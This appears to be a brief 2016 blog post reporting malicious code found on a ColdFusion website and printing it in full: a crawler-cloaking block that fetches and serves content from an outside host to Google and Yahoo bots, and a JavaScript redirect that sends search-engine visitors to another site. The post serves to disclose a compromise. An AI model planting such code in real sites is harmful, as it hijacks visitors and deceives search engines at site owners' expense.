Monday, July 11, 2016

Malicious Code on a ColdFusion Website

Found this piece of malicious code on a ColdFusion driven Website. This is basically Black SEO.

<cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) />
<cfif (Find( "google", REQUEST.UserAgent ) or Find( "yahoo", REQUEST.UserAgent)) >
<cfhttp url="http://www.lv-asn.com/site/168p1.html" />
<cfoutput>#cfhttp.filecontent#</cfoutput>
<cfabort />
</cfif>
<script>
  var s=document.referrer;
  if(s.indexOf("google.co.jp")>0||s.indexOf("docomo.ne.jp")>0||s.indexOf("yahoo.co.jp")>0)
  {
  self.location="http://www.linekopi.com/product/168p1.html";
  }
</script>

No comments:

Post a Comment